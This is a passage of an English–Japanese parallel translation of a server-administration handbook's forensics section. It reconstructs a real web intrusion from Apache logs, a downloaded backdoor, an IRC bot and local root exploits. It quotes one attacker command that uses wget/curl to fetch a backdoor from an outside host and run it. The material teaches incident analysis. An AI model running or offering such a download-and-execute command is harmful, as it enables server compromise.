ja: 特殊目的のツールを使うことで、削除された可能性のあるファイルすなわち攻撃者が削除することが多いログファイルなどの内容を復元することが可能です。

en: Reconstituting the Attack Scenario
ja: 攻撃シナリオの再構成

en: All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings.
ja: 解析中に収集されたすべての要素はジグソーパズルのピースのように組み合わさるべきです。最初の疑わしいファイルの作成は侵害を証明するログと関係があることがしばしばあります。長ったらしい理論よりも実例の方が分かりやすいでしょう。

en: The following log is an extract from an Apache <filename>access.log</filename>:
ja: 以下に Apache <filename>access.log</filename> から抜粋したログを示します。

en: Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. Indeed, a <filename>bd</filename> file was found in <filename>/tmp/</filename>. Running <command>strings /mnt/tmp/bd</command> returns, among other strings, <literal>PsychoPhobia Backdoor is starting...</literal>. This really looks like a backdoor.
ja: 長い URL を復号することで、攻撃者がいくつかの PHP コードを実行しようと試みたことが理解できます。ここでは <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command> を実行しようと試みています。確かに、<filename>bd</filename> ファイルが <filename>/tmp/</filename> の中で見つかりました。<command>strings /mnt/tmp/bd</command> を実行したところ、他の文字列に混じって、<literal>PsychoPhobia Backdoor is starting...</literal> が返されました。これはまさにバックドアのように見えます。

en: Some time later, this access was used to download, install and run an IRC <emphasis>bot</emphasis> that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:
ja: しばらくの後、このアクセスは地下 IRC ネットワークに接続する IRC <emphasis>ボット</emphasis>をダウンロード、インストール、実行するために使われました。この IRC ボットは IRC プロトコルを介して制御され、共有するファイルをダウンロードする指示を与えられました。IRC ボットは以下に示す自分専用のログファイルを持っています。

en: These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address.
ja: ログに残された痕跡によれば、82.50.72.202 という IP アドレスを経由して 2 つのビデオファイルがサーバ上に保存されたことがわかります。

en: In parallel, the attacker also downloaded a pair of extra files, <filename>/tmp/pt</filename> and <filename>/tmp/loginx</filename>. Running these files through <command>strings</command> leads to strings such as <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> and <foreignphrase>Now wait for suid shell...</foreignphrase>. These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach.
ja: 並行して、攻撃者はさらに <filename>/tmp/pt</filename> と <filename>/tmp/loginx</filename> にファイルをダウンロードしました。<command>strings</command> を使ってこれらのファイルを調べると、<foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> や <foreignphrase>Now wait for suid shell...</foreignphrase> などの文字列が見つかりました。プログラムは管理者権限を取得するためにローカルの脆弱性を不正利用しているように見えます。攻撃者は目標を達成したでしょうか? この場合、おそらくまだでしょう。なぜなら、最初の侵害行為の後どのファイルも修正されていなかったからです。

en: In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability.
ja: この例では、不正侵入の手続きのすべてが再構成されました。そして、攻撃者は不正侵入されたシステムを約 3 日間にわたって悪用することができたと推測することが可能です。しかし、解析で明らかになった最も重要な要素は脆弱性の内容です。管理者は新規インストールによって完全にこの種の脆弱性が修正されたことを保証することが可能です。
